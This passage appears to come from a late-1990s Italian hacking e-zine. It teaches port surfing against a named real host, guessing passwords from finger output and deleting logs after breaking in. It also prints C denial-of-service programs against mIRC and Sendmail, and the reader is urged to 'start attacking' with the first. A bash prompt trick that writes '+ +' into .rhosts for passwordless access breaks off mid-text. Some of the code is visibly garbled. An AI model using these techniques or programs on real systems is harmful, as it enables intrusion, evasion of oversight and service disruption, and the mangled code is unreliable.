dimensioni? Semplice scegliamo un dominio abbastanza conosciuto e che abbia una rete di grosse dimensioni. Il mio esempio e' basato su nmia.com Allora, dopo essermi loggato dentro la mia shell do' il comando: [66] ->whois nmia.com New Mexico Internet Access (NMIA-DOM) 2201 Buena Vista SE Albuquerque, NM 87106 Domain Name: NMIA.COM Administrative Contact, Technical Contact, Zone Contact: Orrell, Stan (SO11) SAO@NMIA.COM (505) 877-0617 Record last updated on 11-Mar-94. Record created on 11-Mar-94. Domain servers in listed order: NS.NMIA.COM 198.59.166.10 GRANDE.NM.ORG 129.121.1.2 Ora abbiamo scoperto che dietro a nmia.com c'e' grande.nm.org Ecco come ho fatto: [67] ->telnet grande.nm.org 15 Trying 129.121.1.2 ... Connected to grande.nm.org. Escape character is '^]'. TGV MultiNet V3.5 Rev B, VAX 4000-400, OpenVMS VAX V6.1 Product License Authorization Expiration Date ---------- ------- ------------- --------------- MULTINET Yes A-137-1641 (none) NFS-CLIENT Yes A-137-113237 (none) *** Configuration for file "MULTINET:NETWORK_DEVICES.CONFIGURATION" *** Device Adapter CSR Address Flags/Vector ------ ------- ----------- ------------ se0 (Shared VMS Ethernet/FDDI) -NONE- -NONE- -NONE- MultiNet Active Connections, including servers: Proto Rcv-Q Snd-Q Local Address (Port) Foreign Address (Port) State ----- ----- ----- ------------------ ------------------ ----- TCP 0 822 GRANDE.NM.ORG(NETSTAT) 198.59.115.24(1569) ESTABLISHED TCP 0 0 GRANDE.NM.ORG(POP3) 164.64.201.67(1256) ESTABLISHED TCP 0 0 GRANDE.NM.ORG(4918) 129.121.254.5(TELNET) ESTABLISHED TCP 0 0 GRANDE.NM.ORG(TELNET) AVATAR.NM.ORG(3141) ESTABLISHED TCP 0 0 *(NAMESERVICE) *(*) LISTEN TCP 0 0 *(TELNET) *(*) LISTEN TCP 0 0 *(FTP) *(*) LISTEN TCP 0 0 *(FINGER) *(*) LISTEN TCP 0 0 *(NETSTAT) *(*) LISTEN TCP 0 0 *(SMTP) *(*) LISTEN TCP 0 0 *(LOGIN) *(*) LISTEN TCP 0 0 *(SHELL) *(*) LISTEN TCP 0 0 *(EXEC) *(*) LISTEN TCP 0 0 *(RPC) *(*) LISTEN TCP 0 0 *(NETCONTROL) *(*) LISTEN TCP 0 0 *(SYSTAT) *(*) LISTEN TCP 0 0 *(CHARGEN) *(*) LISTEN TCP 0 0 *(DAYTIME) *(*) LISTEN TCP 0 0 *(TIME) *(*) LISTEN TCP 0 0 *(ECHO) *(*) LISTEN TCP 0 0 *(DISCARD) *(*) LISTEN TCP 0 0 *(PRINTER) *(*) LISTEN TCP 0 0 *(POP2) *(*) LISTEN TCP 0 0 *(POP3) *(*) LISTEN TCP 0 0 *(KERBEROS_MASTER) *(*) LISTEN TCP 0 0 *(KLOGIN) *(*) LISTEN TCP 0 0 *(KSHELL) *(*) LISTEN TCP 0 0 GRANDE.NM.ORG(4174) OSO.NM.ORG(X11) ESTABLISHED TCP 0 0 GRANDE.NM.ORG(4172) OSO.NM.ORG(X11) ESTABLISHED TCP 0 0 GRANDE.NM.ORG(4171) OSO.NM.ORG(X11) ESTABLISHED TCP 0 0 *(FS) *(*) LISTEN UDP 0 0 *(NAMESERVICE) *(*) UDP 0 0 127.0.0.1(NAMESERVICE) *(*) UDP 0 0 GRANDE.NM.OR(NAMESERV) *(*) UDP 0 0 *(TFTP) *(*) UDP 0 0 *(BOOTPS) *(*) UDP 0 0 *(KERBEROS) *(*) UDP 0 0 127.0.0.1(KERBEROS) *(*) UDP 0 0 GRANDE.NM.OR(KERBEROS) *(*) UDP 0 0 *(*) *(*) UDP 0 0 *(SNMP) *(*) UDP 0 0 *(RPC) *(*) UDP 0 0 *(DAYTIME) *(*) UDP 0 0 *(ECHO) *(*) UDP 0 0 *(DISCARD) *(*) UDP 0 0 *(TIME) *(*) UDP 0 0 *(CHARGEN) *(*) UDP 0 0 *(TALK) *(*) UDP 0 0 *(NTALK) *(*) UDP 0 0 *(1023) *(*) UDP 0 0 *(XDMCP) *(*) MultiNet registered RPC programs: Program Version Protocol Port ------- ------- -------- ---- PORTMAP 2 TCP 111 PORTMAP 2 UDP 111 MultiNet IP Routing tables: Destination Gateway Flags Refcnt Use Interface MTU ---------- ---------- ----- ------ ----- --------- ---- 198.59.167.1 LAWRII.NM.ORG Up,Gateway,H 0 2 se0 1500 166.45.0.1 ENSS365.NM.ORG Up,Gateway,H 0 4162 se0 1500 205.138.138.1 ENSS365.NM.ORG Up,Gateway,H 0 71 se0 1500 204.127.160.1 ENSS365.NM.ORG Up,Gateway,H 0 298 se0 1500 127.0.0.1 127.0.0.1 Up,Host 5 1183513 lo0 4136 198.59.167.2 LAWRII.NM.ORG Up,Gateway,H 0 640 se0 1500 192.132.89.2 ENSS365.NM.ORG Up,Gateway,H 0 729 se0 1500 207.77.56.2 ENSS365.NM.ORG Up,Gateway,H 0 5 se0 1500 204.97.213.2 ENSS365.NM.ORG Up,Gateway,H 0 2641 se0 1500 194.90.74.66 ENSS365.NM.ORG Up,Gateway,H 0 1 se0 1500 204.252.102.2 ENSS365.NM.ORG Up,Gateway,H 0 109 se0 1500 205.160.243.2 ENSS365.NM.ORG Up,Gateway,H 0 78 se0 1500 202.213.4.2 ENSS365.NM.ORG Up,Gateway,H 0 4 se0 1500 202.216.224.66 ENSS365.NM.ORG Up,Gateway,H 0 113 se0 1500 192.132.89.3 ENSS365.NM.ORG Up,Gateway,H 0 1100 se0 1500 198.203.196.67 ENSS365.NM.ORG Up,Gateway,H 0 385 se0 1500 160.205.13.3 ENSS365.NM.ORG Up,Gateway,H 0 78 se0 1500 202.247.107.131 ENSS365.NM.ORG Up,Gateway,H 0 19 se0 1500 198.59.167.4 LAWRII.NM.ORG Up,Gateway,H 0 82 se0 1500 128.148.157.6 ENSS365.NM.ORG Up,Gateway,H 0 198 se0 1500 160.45.10.6 ENSS365.NM.ORG Up,Gateway,H 0 3 se0 1500 128.121.50.7 ENSS365.NM.ORG Up,Gateway,H 0 3052 se0 1500 206.170.113.8 ENSS365.NM.ORG Up,Gateway,H 0 1451 se0 1500 128.148.128.9 ENSS365.NM.ORG Up,Gateway,H 0 1122 se0 1500 203.7.132.9 ENSS365.NM.ORG Up,Gateway,H 0 14 se0 1500 204.216.57.10 ENSS365.NM.ORG Up,Gateway,H 0 180 se0 1500 130.74.1.75 ENSS365.NM.ORG Up,Gateway,H 0 10117 se0 1500 206.68.65.15 ENSS365.NM.ORG Up,Gateway,H 0 249 se0 1500 129.219.13.81 ENSS365.NM.ORG Up,Gateway,H 0 547 se0 1500 204.255.246.18 ENSS365.NM.ORG Up,Gateway,H 0 1125 se0 1500 160.45.24.21 ENSS365.NM.ORG Up,Gateway,H 0 97 se0 1500 206.28.168.21 ENSS365.NM.ORG Up,Gateway,H 0 2093 se0 1500 163.179.3.222 ENSS365.NM.ORG Up,Gateway,H 0 315 se0 1500 198.109.130.33 ENSS365.NM.ORG Up,Gateway,H 0 1825 se0 1500 199.224.108.33 ENSS365.NM.ORG Up,Gateway,H 0 11362 se0 1500 203.7.132.98 ENSS365.NM.ORG Up,Gateway,H 0 73 se0 1500 198.111.253.35 ENSS365.NM.ORG Up,Gateway,H 0 1134 se0 1500 206.149.24.100 ENSS365.NM.ORG Up,Gateway,H 0 3397 se0 1500 165.212.105.106 ENSS365.NM.ORG Up,Gateway,H 0 17 se0 1006 205.238.3.241 ENSS365.NM.ORG Up,Gateway,H 0 69 se0 1500 198.49.44.242 ENSS365.NM.ORG Up,Gateway,H 0 25 se0 1500 194.22.188.242 ENSS365.NM.ORG Up,Gateway,H 0 20 se0 1500 164.64.0 LAWRII.NM.ORG Up,Gateway 1 40377 se0 1500 0.0.0 ENSS365.NM.ORG Up,Gateway 2 4728741 se0 1500 207.66.1 GLORY.NM.ORG Up,Gateway 0 51 se0 1500 205.166.1 GLORY.NM.ORG Up,Gateway 0 1978 se0 1500 204.134.1 LAWRII.NM.ORG Up,Gateway 0 54 se0 1500 204.134.2 GLORY.NM.ORG Up,Gateway 0 138 se0 1500 192.132.2 129.121.248.1 Up,Gateway 0 6345 se0 1500 204.134.67 GLORY.NM.ORG Up,Gateway 0 2022 se0 1500 206.206.67 GLORY.NM.ORG Up,Gateway 0 7778 se0 1500 206.206.68 LAWRII.NM.ORG Up,Gateway 0 3185 se0 1500 207.66.5 GLORY.NM.ORG Up,Gateway 0 626 se0 1500 204.134.69 GLORY.NM.ORG Up,Gateway 0 7990 se0 1500 207.66.6 GLORY.NM.ORG Up,Gateway 0 53 se0 1500 204.134.70 LAWRII.NM.ORG Up,Gateway 0 18011 se0 1500 192.188.135 GLORY.NM.ORG Up,Gateway 0 5 se0 1500 206.206.71 LAWRII.NM.ORG Up,Gateway 0 2 se0 1500 204.134.7 GLORY.NM.ORG Up,Gateway 0 38 se0 1500 199.89.135 GLORY.NM.ORG Up,Gateway 0 99 se0 1500 198.59.136 LAWRII.NM.ORG Up,Gateway 0 1293 se0 1500 204.134.9 GLORY.NM.ORG Up,Gateway 0 21 se0 1500 204.134.73 GLORY.NM.ORG Up,Gateway 0 59794 se0 1500 129.138.0 GLORY.NM.ORG Up,Gateway 0 5262 se0 1500 192.92.10 LAWRII.NM.ORG Up,Gateway 0 163 se0 1500 206.206.75 LAWRII.NM.ORG Up,Gateway 0 604 se0 1500 207.66.13 GLORY.NM.ORG Up,Gateway 0 1184 se0 1500 204.134.77 LAWRII.NM.ORG Up,Gateway 0 3649 se0 1500 207.66.14 GLORY.NM.ORG Up,Gateway 0 334 se0 1500 204.134.78 GLORY.NM.ORG Up,Gateway 0 239 se0 1500 204.52.207 GLORY.NM.ORG Up,Gateway 0 293 se0 1500 204.134.79 GLORY.NM.ORG Up,Gateway 0 1294 se0 1500 192.160.144 LAWRII.NM.ORG Up,Gateway 0 117 se0 1500 206.206.80 PENNY.NM.ORG Up,Gateway 0 4663 se0 1500 204.134.80 GLORY.NM.ORG Up,Gateway 0 91 se0 1500 198.99.209 LAWRII.NM.ORG Up,Gateway 0 1136 se0 1500 207.66.17 GLORY.NM.ORG Up,Gateway 0 24173 se0 1500 204.134.82 GLORY.NM.ORG Up,Gateway 0 29766 se0 1500 192.41.211 GLORY.NM.ORG Up,Gateway 0 155 se0 1500 192.189.147 LAWRII.NM.ORG Up,Gateway 0 3133 se0 1500 204.134.84 PENNY.NM.ORG Up,Gateway 0 189 se0 1500 204.134.87 LAWRII.NM.ORG Up,Gateway 0 94 se0 1500 146.88.0 GLORY.NM.ORG Up,Gateway 0 140 se0 1500 192.84.24 GLORY.NM.ORG Up,Gateway 0 3530 se0 1500 204.134.88 LAWRII.NM.ORG Up,Gateway 0 136 se0 1500 198.49.217 GLORY.NM.ORG Up,Gateway 0 303 se0 1500 192.132.89 GLORY.NM.ORG Up,Gateway 0 3513 se0 1500 198.176.219 GLORY.NM.ORG Up,Gateway 0 1278 se0 1500 206.206.92 LAWRII.NM.ORG Up,Gateway 0 1228 se0 1500 192.234.220 129.121.1.91 Up,Gateway 0 2337 se0 1500 204.134.92 LAWRII.NM.ORG Up,Gateway 0 13995 se0 1500 198.59.157 LAWRII.NM.ORG Up,Gateway 0 508 se0 1500 206.206.93 GLORY.NM.ORG Up,Gateway 0 635 se0 1500 204.134.93 GLORY.NM.ORG Up,Gateway 0 907 se0 1500 198.59.158 LAWRII.NM.ORG Up,Gateway 0 14214 se0 1500 198.59.159 LAWRII.NM.ORG Up,Gateway 0 1806 se0 1500 204.134.95 PENNY.NM.ORG Up,Gateway 0 3644 se0 1500 206.206.96 GLORY.NM.ORG Up,Gateway 0 990 se0 1500 206.206.161 LAWRII.NM.ORG Up,Gateway 0 528 se0 1500 198.59.97 PENNY.NM.ORG Up,Gateway 0 55 se0 1500 198.59.161 LAWRII.NM.ORG Up,Gateway 0 497 se0 1500 192.207.226 GLORY.NM.ORG Up,Gateway 0 93217 se0 1500 198.59.99 PENNY.NM.ORG Up,Gateway 0 2 se0 1500 198.59.163 GLORY.NM.ORG Up,Gateway 0 3379 se0 1500 192.133.100 LAWRII.NM.ORG Up,Gateway 0 3649 se0 1500 204.134.100 GLORY.NM.ORG Up,Gateway 0 8 se0 1500 128.165.0 PENNY.NM.ORG Up,Gateway 0 15851 se0 1500 198.59.165 GLORY.NM.ORG Up,Gateway 0 274 se0 1500 206.206.165 LAWRII.NM.ORG Up,Gateway 0 167 se0 1500 206.206.102 GLORY.NM.ORG Up,Gateway 0 5316 se0 1500 160.230.0 LAWRII.NM.ORG Up,Gateway 0 19408 se0 1500 206.206.166 LAWRII.NM.ORG Up,Gateway 0 1756 se0 1500 205.166.231 GLORY.NM.ORG Up,Gateway 0 324 se0 1500 198.59.167 GLORY.NM.ORG Up,Gateway 0 1568 se0 1500 206.206.103 GLORY.NM.ORG Up,Gateway 0 3629 se0 1500 198.59.168 GLORY.NM.ORG Up,Gateway 0 9063 se0 1500 206.206.104 GLORY.NM.ORG Up,Gateway 0 7333 se0 1500 206.206.168 GLORY.NM.ORG Up,Gateway 0 234 se0 1500 204.134.105 LAWRII.NM.ORG Up,Gateway 0 4826 se0 1500 206.206.105 LAWRII.NM.ORG Up,Gateway 0 422 se0 1500 204.134.41 LAWRII.NM.ORG Up,Gateway 0 41782 se0 1500 206.206.169 GLORY.NM.ORG Up,Gateway 0 5101 se0 1500 204.134.42 GLORY.NM.ORG Up,Gateway 0 10761 se0 1500 206.206.170 GLORY.NM.ORG Up,Gateway 0 916 se0 1500 198.49.44 GLORY.NM.ORG Up,Gateway 0 3 se0 1500 198.59.108 GLORY.NM.ORG Up,Gateway 0 2129 se0 1500 204.29.236 GLORY.NM.ORG Up,Gateway 0 125 se0 1500 206.206.172 GLORY.NM.ORG Up,Gateway 0 5839 se0 1500 204.134.108 GLORY.NM.ORG Up,Gateway 0 3216 se0 1500 206.206.173 GLORY.NM.ORG Up,Gateway 0 374 se0 1500 198.175.173 LAWRII.NM.ORG Up,Gateway 0 6227 se0 1500 198.59.110 GLORY.NM.ORG Up,Gateway 0 1797 se0 1500 198.51.238 GLORY.NM.ORG Up,Gateway 0 1356 se0 1500 192.136.110 GLORY.NM.ORG Up,Gateway 0 583 se0 1500 204.134.48 GLORY.NM.ORG Up,Gateway 0 42 se0 1500 198.175.176 LAWRII.NM.ORG Up,Gateway 0 32 se0 1500 206.206.114 LAWRII.NM.ORG Up,Gateway 0 44 se0 1500 206.206.179 LAWRII.NM.ORG Up,Gateway 0 14 se0 1500 198.59.179 PENNY.NM.ORG Up,Gateway 0 222 se0 1500 198.59.115 GLORY.NM.ORG Up,Gateway 1 132886 se0 1500 206.206.181 GLORY.NM.ORG Up,Gateway 0 1354 se0 1500 206.206.182 SIENNA.NM.ORG Up,Gateway 0 16 se0 1500 206.206.118 GLORY.NM.ORG Up,Gateway 0 3423 se0 1500 206.206.119 GLORY.NM.ORG Up,Gateway 0 282 se0 1500 206.206.183 SIENNA.NM.ORG Up,Gateway 0 2473 se0 1500 143.120.0 LAWRII.NM.ORG Up,Gateway 0 123533 se0 1500 206.206.184 GLORY.NM.ORG Up,Gateway 0 1114 se0 1500 205.167.120 GLORY.NM.ORG Up,Gateway 0 4202 se0 1500 206.206.121 GLORY.NM.ORG Up,Gateway 1 71 se0 1500 129.121.0 GRANDE.NM.ORG Up 12 21658599 se0 1500 204.134.122 GLORY.NM.ORG Up,Gateway 0 195 se0 1500 204.134.58 GLORY.NM.ORG Up,Gateway 0 7707 se0 1500 128.123.0 GLORY.NM.ORG Up,Gateway 0 34416 se0 1500 204.134.59 GLORY.NM.ORG Up,Gateway 0 1007 se0 1500 204.134.124 GLORY.NM.ORG Up,Gateway 0 37160 se0 1500 206.206.124 LAWRII.NM.ORG Up,Gateway 0 79 se0 1500 206.206.125 PENNY.NM.ORG Up,Gateway 0 233359 se0 1500 204.134.126 GLORY.NM.ORG Up,Gateway 0 497 se0 1500 206.206.126 LAWRII.NM.ORG Up,Gateway 0 13644 se0 1500 204.69.190 GLORY.NM.ORG Up,Gateway 0 4059 se0 1500 206.206.190 GLORY.NM.ORG Up,Gateway 0 1630 se0 1500 204.134.127 GLORY.NM.ORG Up,Gateway 0 45621 se0 1500 206.206.191 GLORY.NM.ORG Up,Gateway 0 3574 se0 1500 MultiNet IPX Routing tables: Destination Gateway Flags Refcnt Use Interface MTU ---------- ---------- ----- ------ ----- --------- ---- MultiNet ARP table: Host Network Address Ethernet Address Arp Flags -------------------------------------------- ---------------- --------- GLORY.NM.ORG (IP 129.121.1.4) AA:00:04:00:61:D0 Temporary [UNKNOWN] (IP 129.121.251.1) 00:C0:05:01:2C:D2 Temporary NARANJO.NM.ORG (IP 129.121.1.56) 08:00:87:04:9F:42 Temporary CHAMA.NM.ORG (IP 129.121.1.8) AA:00:04:00:0C:D0 Temporary [UNKNOWN] (IP 129.121.251.5) AA:00:04:00:D2:D0 Temporary LAWRII.NM.ORG (IP 129.121.254.10) AA:00:04:00:5C:D0 Temporary [UNKNOWN] (IP 129.121.1.91) 00:C0:05:01:2C:D2 Temporary BRAVO.NM.ORG (IP 129.121.1.6) AA:00:04:00:0B:D0 Temporary PENNY.NM.ORG (IP 129.121.1.10) AA:00:04:00:5F:D0 Temporary ARRIBA.NM.ORG (IP 129.121.1.14) 08:00:2B:BC:C1:A7 Temporary AZUL.NM.ORG (IP 129.121.1.51) 08:00:87:00:A1:D3 Temporary ENSS365.NM.ORG (IP 129.121.1.3) 00:00:0C:51:EF:58 Temporary AVATAR.NM.ORG (IP 129.121.254.1) 08:00:5A:1D:52:0D Temporary [UNKNOWN] (IP 129.121.253.2) 08:00:5A:47:4A:1D Temporary [UNKNOWN] (IP 129.121.254.5) 00:C0:7B:5F:5F:80 Temporary CONCHAS.NM.ORG (IP 129.121.1.11) 08:00:5A:47:4A:1D Temporary [UNKNOWN] (IP 129.121.253.10) AA:00:04:00:4B:D0 Temporary MultiNet Network Interface statistics: Name Mtu Network Address Ipkts Ierrs Opkts Oerrs Collis ---- --- ------- -------------- ----- ----- ----- ----- ------ se0 1500 129.121.0 GRANDE.NM.ORG 68422948 0 53492833 1 0 lo0 4136 127.0.0 127.0.0.1 1188191 0 1188191 0 0 MultiNet Protocol statistics: 65264173 IP packets received 22 IP packets smaller than minimum size 6928 IP fragments received 4 IP fragments timed out 34 IP received for unreachable destinations 704140 ICMP error packets generated 9667 ICMP opcodes out of range 4170 Bad ICMP packet checksums 734363 ICMP responses 734363 ICMP "Echo" packets received 734363 ICMP "Echo Reply" packets sent 18339 ICMP "Echo Reply" packets received 704140 ICMP "Destination Unreachable" packets sent 451243 ICMP "Destination Unreachable" packets received 1488 ICMP "Source Quench" packets received 163911 ICMP "ReDirect" packets received 189732 ICMP "Time Exceeded" packets received 126966 TCP connections initiated 233998 TCP connections established 132611 TCP connections accepted 67972 TCP connections dropped 28182 embryonic TCP connections dropped 269399 TCP connections closed 10711838 TCP segments timed for RTT 10505140 TCP segments updated RTT 3927264 TCP delayed ACKs sent 666 TCP connections dropped due to retransmit timeouts 111040 TCP retransmit timeouts 3136 TCP persist timeouts 9 TCP persist connection drops 16850 TCP keepalive timeouts 1195 TCP keepalive probes sent 14392 TCP connections dropped due to keepalive timeouts 28842663 TCP packets sent 12714484 TCP data packets sent 1206060086 TCP data bytes sent 58321 TCP data packets retransmitted 22144036 TCP data bytes retransmitted 6802199 TCP ACK-only packets sent 1502 TCP window probes sent 483 TCP URG-only packets sent 8906175 TCP Window-Update-only packets sent 359509 TCP control packets sent 38675084 TCP packets received 28399363 TCP packets received in sequence 1929418386 TCP bytes received in sequence 25207 TCP packets with checksum errors 273374 TCP packets were duplicates 230525708 TCP bytes were duplicates 3748 TCP packets had some duplicate bytes 493214 TCP bytes were partial duplicates 2317156 TCP packets were out of order 3151204672 TCP bytes were out of order 1915 TCP packets had data after window 865443 TCP bytes were after window 5804 TCP packets for already closed connection 941 TCP packets were window probes 10847459 TCP packets had ACKs 222657 TCP packets had duplicate ACKs 1 TCP packet ACKed unsent data 1200274739 TCP bytes ACKed 141545 TCP packets had window updates 13 TCP segments dropped due to PAWS 4658158 TCP segments were predicted pure-ACKs 24033756 TCP segments were predicted pure-data 8087980 TCP PCB cache misses 305 Bad UDP header checksums 17 Bad UDP data length fields 23772272 UDP PCB cache misses MultiNet Buffer Statistics: 388 out of 608 buffers in use: 30 buffers allocated to Data. 10 buffers allocated to Packet Headers. 66 buffers allocated to Socket Structures. 57 buffers allocated to Protocol Control Blocks. 163 buffers allocated to Routing Table Entries. 2 buffers allocated to Socket Names and Addresses. 48 buffers allocated to Kernel Fork-Processes. 2 buffers allocated to Interface Addresses. 1 buffer allocated to Multicast Addresses. 1 buffer allocated to Timeout Callbacks. 6 buffers allocated to Memory Management. 2 buffers allocated to Network TTY Control Blocks. 11 out of 43 page clusters in use. 11 CXBs borrowed from VMS device drivers 2 CXBs waiting to return to the VMS device drivers 162 Kbytes allocated to MultiNet buffers (44% in use). 226 Kbytes of allocated buffer address space (0% of maximum). Connection closed by foreign host. [68] -> Uao! Cos'e' questo? Questo l'abbiamo visto telnettando alla porta 15 --la porta netstat (network statistics)-- cioe' su molti computer sono eseguiti dei demoni che dicono ad ognuno chi si cura di dare informazioni riguardo a quei server che usano lui per collegarsi ad internet. In questo modo abbiamo imparato due cose: 1) Grande.nm.org e' un computer importante molto affollato. 2) Per ogni grande ed occupato computer puo' andare bene un port surfing con porte casuali Ora provo la porta 79. Do' il comando: [68] ->telnet grande.nm.org 79 Trying 129.121.1.2 ... Connected to grande.nm.org. Escape character is '^]'. finger ?Sorry, could not find "FINGER" Connection closed by foreign host. [69] ->telnet grande.nm.org 79 Trying 129.121.1.2 ... Connected to grande.nm.org. Escape character is '^]'. help ?Sorry, could not find "HELP" Connection closed by foreign host. [69] ->telnet grande.nm.org 79 Trying 129.121.1.2 ... Connected to grande.nm.org. Escape character is '^]'. ? ?Sorry, could not find "?" Connection closed by foreign host. [69] ->telnet grande.nm.org 79 Trying 129.121.1.2 ... Connected to grande.nm.org. Escape character is '^]'. man ?Sorry, could not find "MAN" Connection closed by foreign host. [69] -> Al primo impatto possono sembrare un insieme di comandi perduti. Ma attualmente questo e' molto affascinante. La reazione e' che la porta 79 e' , sotto regole IETF, suppondendo che fingerd sia eseguito, il demone finger. Quando do' il comando "finger", grande.nm.org risponde ?Sorry, could not find "FINGER," immagino che il demone non sia sottoposto alle regole IETF. Facciamo un accorgimento: il demone finger non e' presente su tutti i computer. Questo perche' il finger ha proprieta' che possono essre usate per avere il controllo totale del computer che lo esegue. Se il finger e' spento, e nient'altro e' eseguito sulla porta 79, avremo la risposta: telnet: connect: Connection refused. Se invece ci permette di connetterci alla porta 79 ma non appare niente, significa che aspetta che noi digitiamo qualcosa. "Help," "?" and "man" Ora, quando avremo a che fare con una porta la quale non conosciamo i comandi, potremo usare i comandi "Help" , "?" e "man" Ma attraverso questi comandi non e' che verremo aiutati, ma ci diranno a cosa il demone e' particolarmente sensitivo. Il finger e' un demone molto importante perche' tiene informazioni riguardo a tutti gli utenti presenti su quella macchina. Se noi usiamo il comando finger @nomemacchina.com Ci da' la lista di tutte gli utenti presenti in quella macchina. Dopo, una volta che ci siamo segnato il tutto, telnettiamo alla macchina alla porta 23 e proviamo una combinazione di questo tipo: login: nome login che ci siamo segnati prima password: provate il suo nome, cognome, e altre cose che avete visto con il finger E dopo, cosa faremo? Se acquisiamo accesso su un sistema, la prima cosa da fare e' cancellare i log, cioe' non lasciare tracce che possano insospettire l'admin. Il log della shell registra su un file tutte le operazioni e i comandi eseguiti su quel pc. L'ammistratore di computer importante come grande.nm.org sara' probabilmente competente e guardera' sicuramente i log di quali comandi sono stati eseguiti. Specialmente su una porta importante e cosi misteriosa, il demone non-IETF . Anche ogni cosa che noi scriviamo mentre siamo connessi e' stata loggata. Allora, fai port surfing! Ecco i principi base: 1) Fallo da una shell. Questa puo' essere sia del tuo provider o del tuo linux o unix 2) Usa il comando "telnet " dove e' l'indirizzo del pc che vuoi visitare e e' il servizio alla quale vuoi collegarti 3) Se appare scritto "connected" il surfing ha funzionato Mi raccomando a quello che fai. Se fai lo scanning di molte porte sullo stesso sistema, il sysadmin target potrebbe avvertire il tuo sysadmin , infatti basta vedere nel file log per capire da dove siano arrivati quei collegamenti. E mi raccomando imparatevi meglio l'unix! Quella che segue e' una lista delle porte che uso di piu', con i rispettivi servizi affianco. Porta Servizio Cos'e' 7 echo Qualsiasi cosa scrivi, il server te la ripete 9 discard Dev/null -- Cosa pensi che sia? 11 systat Molte informazioni sugli utenti 13 daytime Ora e data del computer 15 netstat Tremende info riguardo il server 19 chargen Ti da tanti caratteri ASCII. Usa ^C per fermarli. 21 ftp Protocollo di Trasferimento File 23 telnet Dove tu entri. 25 smpt Servizio di e-mail 37 time Ora 39 rlp Locazione di risorse 43 whois Info riguardo hosts e networks 53 domain Nome server 70 gopher Ricercatore di informazioni 79 finger Molte info riguardo gli utenti 80 http Web server 110 pop E-mail in arrivo 119 nntp Porte delle news 443 shttp Un altro web server 512 biff Notifica delle e-mail 513 rlogin Login remota who Remoto who e uptime 514 shell Comandi remoti, senza l'uso della password! syslog Sistema remoto di logging 520 route Informazioni riguarda al protocollo router Nota che in molti casi un host usera' queste assegnazioni di servizi per queste porte. Ma anche piu' di un servizio puo' essere simultaneamente assegnato alla stessa porta. Questo sistema di numerazione e' volontariamente offerto dalla Internet Engineering Task Force (IETF). Cio' mostra che potete benissimamente trovare altri servizi associati a quelle porte. In linux il file contenente le porte si trova in /etc/services Per la composizione di questo articolo mi sono ispirato alla guida inglese Mostly Harmless Hacking, visto che la ritengo una guida interessante e molto semplice da capire. ############################################################################## ******************** - COME FAR ANDARE - - IN CRASH IL mIRC - ******************** Allora, inizio dicendo vi che questo prog funziona solo da Linux se volete portarvelo su Win dovrete usare il winsock. Il programma exploita l'insieme dei socket di mIrc, con conseguente crash. mIrc puo' trattare un insieme di influsso dei dati ma non puo' trattare stringhe di dati che sono analizzate internamente attraverso mIrc. Questo programma forzera' il mIrc ad analizzare i dati in entrata ed ad indentificarli, il risultato dell'analisi e' piu' grande della grandezza del buffer delle stringhe , cio' causera' un bel crash! Questo prog creera' 5 connessioni alla porta del mIrc e poi mandera' la stringa. /* hanson.c - by myn with help from h2o and watcher *thanks* */ #include #include #include #include #include #include #include int x, s, i, p, dport; /* SET STRING HERE */ char *str = "9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 * 99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999"; struct sockaddr_in addr, spoofedaddr; struct hostent *host; int open_sock(int sock, char *server, int port) { struct sockaddr_in blah; struct hostent *he; bzero((char *)&blah,sizeof(blah)); blah.sin_family=AF_INET; blah.sin_addr.s_addr=inet_addr(server); blah.sin_port=htons(port); if ((he = gethostbyname(server)) != NULL) { bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length); } else { if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) { perror("gethostbyname()"); return(-3); } } if (connect(sock,(struct sockaddr *)&blah,16)==-1) { perror("connect()"); close(sock); return(-4); } printf(" Connected to [%s:%d].\n",server,port); return; } void main(int argc, char *argv[]) { int t; if (argc != 3) { printf("hanson.c - myn@efnet\n\n"); printf("This lil program exploits mIRC's bound sockets, making the client crash\n\n"); printf("Usage: %s \n",argv[0]); exit(0); } printf("hanson.c - myn@efnet\n\n"); for (t=0; t<5; t++) { if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) { perror("socket()"); exit(-1); } p = atoi(argv[2]); open_sock(s,argv[1],p); printf(" Sending string 1ooo times to %s port %i... \n", argv[1], p); for (i=0; i<1000; i++) { send(s,str,strlen(str),0x0); } printf("mmmmb0p.\n"); } close(s); } Provatelo a compilare e incominciate ad attaccare, solo cosi' le persone capiranno che e' meglio passare a Linux, ihihih! ############################################################################## EExxEExxEExxEExxEExxEExxEExx EE SENDMAIL 8.9.2 EXPLOIT EE EExxEExxEExxEExxEExxEExxEExx Non so quanti di voi conoscono questo exploit, ma vi informo che e' uscito a Gennaio, e precisamente sono due i bug trovati. Pero' il programmino che troverete qui' sotto non e' nient'altro che una versione light dell'exploit che vi indica se il server ha la patch o no. /* against.c - Another Sendmail (and pine ;-) DoS (up to 8.9.2) (c) 1999 by Usage: ./against existing_user_on_victim_host victim_host Example: ./against nobody lamers.net */ #include #include #include #include #include #include #include #include #include #include #include #include #include #define MAXCONN 5 #define LINES 150000 struct hostent *hp; struct sockaddr_in s; int suck,loop,x; int main(int argc,char* argv[]) { printf("against.c - another Sendmail DoS (up to 8.9.2)\n"); if (argc-3) { printf("Usage: %s victim_user victim_host\n",argv[0]); exit(0); } hp=gethostbyname(argv[2]); if (!hp) { perror("gethostbyname"); exit(1); } fprintf(stderr,"Doing mess: "); for (;looph_addr,(void*)&s.sin_addr,hp->h_length); s.sin_family=hp->h_addrtype; s.sin_port=htons(25); if ((suck=socket(AF_INET,SOCK_STREAM,0))<0) perror("socket"); if (connect(suck,(struct sockaddr *)&s,sizeof(s))) perror("connect"); if (!(d=fdopen(suck,"w"))) { perror("fdopen"); exit(0); } usleep(100000); fprintf(d,"helo tweety\n"); fprintf(d,"mail from: tweety@polbox.com\n"); fprintf(d,"rcpt to: %s@%s\n",argv[1],argv[2]); fprintf(d,"data\n"); usleep(100000); for(loop=0;loop ~\57.rhosts\ " > x; source x; rm -f \x\ ` " Alcune persone hanno detto che cio' succede solo se la variabile PS1 contiene il flag \w o \W , purtroppo li hanno subito smentiti infatti di seguito vi riporto come fare per creare un overflow. Vediamo, diamo un version alla bash: rush:/tmp> bash --version GNU bash, version 2.03.0(1)-release (i586-pc-linux-gnu) Copyright 1998 Free Software Foundation, Inc. Chiamamo il comando 'bash' 